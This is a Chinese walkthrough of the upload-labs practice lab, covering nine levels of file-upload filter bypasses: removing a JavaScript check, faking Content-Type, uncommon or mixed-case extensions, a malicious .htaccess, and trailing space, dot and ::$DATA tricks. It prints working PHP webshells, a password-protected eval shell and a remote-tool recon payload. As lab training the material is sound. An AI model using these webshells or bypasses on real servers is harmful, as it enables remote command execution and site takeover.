文件上传漏洞

复现upload-labs漏洞

(1)Pass-1 (Javascript 前端检查)

1、判断本关文件上传检测方式

①显示源码

②查看提示

得出结论为JS前端检测。

2、针对防御措施进行绕过上传

通过JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:

①修改JS文件;

②上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐);

③禁用js。

3、靶机实战

①这里使用"修改js文件"

右键-查看元素,查看器中找到"οnsubmit="return checkFile()""删除其值。

此时就可以上传.php文件。

②通过木马文件就可以进入后台。

(2)Pass-2 文件类型检查有缺陷

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。

绕过方式:

①上传webshell.php 内容为:<?php @system($\_GET\'cmd'\\); ?>;

②抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

③放包,收到成功上传;

④复制文件上传的路径,请求GET /upload/upload/webshell.php?cmd=whoami。

3、靶机实战

上传webshell.php 内容为:<?php @system($\_GET\'cmd'\\); ?>;

抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;

放包,收到成功上传。

(3)Pass-3 黑名单限制不完全

1、判断本关文件上传检测方式

2、针对防御措施进行绕过上传

对于黑名单限制上传文件后缀的可以通过以下几种方式绕过:

①通过使用可被执行但不常见的后缀名,比如php5,shtml等等;

②上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的③MIME类型;

④利用后端解析差异绕过限制。

3、靶机实战

①上传 webshell.php3 内容为:<?php @system($\_GET\'cmd'\\); ?>;

复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami。

(4)Pass-4

判断本关文件上传检测方式

①分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传。

②首先上传.htaccecc(此文件不要起名字,就是无标题文件)。

cobol 复制代码
<code class="language-plaintext hljs"><FilesMatch "4.png">
    SetHandler application/x-httpd-php
</FilesMatch></code>

在上述配置中,FilesMatch表示匹配4.png的文件,当该文件名匹配成功后,SetHandler表示将该文件作为PHP类型的文件来进行处置。

③然后上传含有一句话木马的4.png文件。

cobol 复制代码
<code class="language-plaintext hljs">ant=@ini_set("display_errors", "0");@set_time_limit(0);echo "3e231";$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}    ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="    ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="    {$s}";echo $R;;echo "8e51f";die();</code>

④使用远程工具连接。

(5)Pass-5

①观察源码,具有强大的黑名单列表且屏蔽了后缀.htaccess文件上传,并且将后缀名自动转化为小写。

②在文件后缀命中输入一个空格,此空格在上传完成后会自动消失。如5.p hp

cobol 复制代码
<code class="language-plaintext hljs"><?php eval($_REQUEST[123])?>
密码:123</code>

③使用远程工具连接。

(6)Pass-6

①分析代码,使用了黑名单,但并没有自动转换大小写,可将文件后缀改为大小写混合绕过

②修改木马文件名为:6.pHP

③上传成功,复制图片url地址。使用远程工具连接。

(7)Pass-7

①查看源码,没有屏蔽空格。

②在文件后缀前加空格7. pHP进行上传,上传成功,复制图片url地址。

③使用远程工具连接

(8)Pass-8

①查看源码,上传文件未进行文件后缀中.的屏蔽。

②在文件后缀中加.符号,如8.ph.p,进行上传,成功后复制图片url地址

③使用远程工具连接

(9)Pass-9

①观察源码,没有对文件后缀的特殊字符进行处理。

②上传9.php文件并用burpsuite进行抓包,在文件名后缀后加上特殊字符::$DATA进行特殊字符绕过。

③放行后,成功上传文件,复制url地址。

相关推荐
两个人的幸福5 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo7 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack7 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982078 天前
PHP 扩展——从入门到理解
php
鹏仔先生9 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下9 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip9 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
零零信安9 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手9 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub9 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全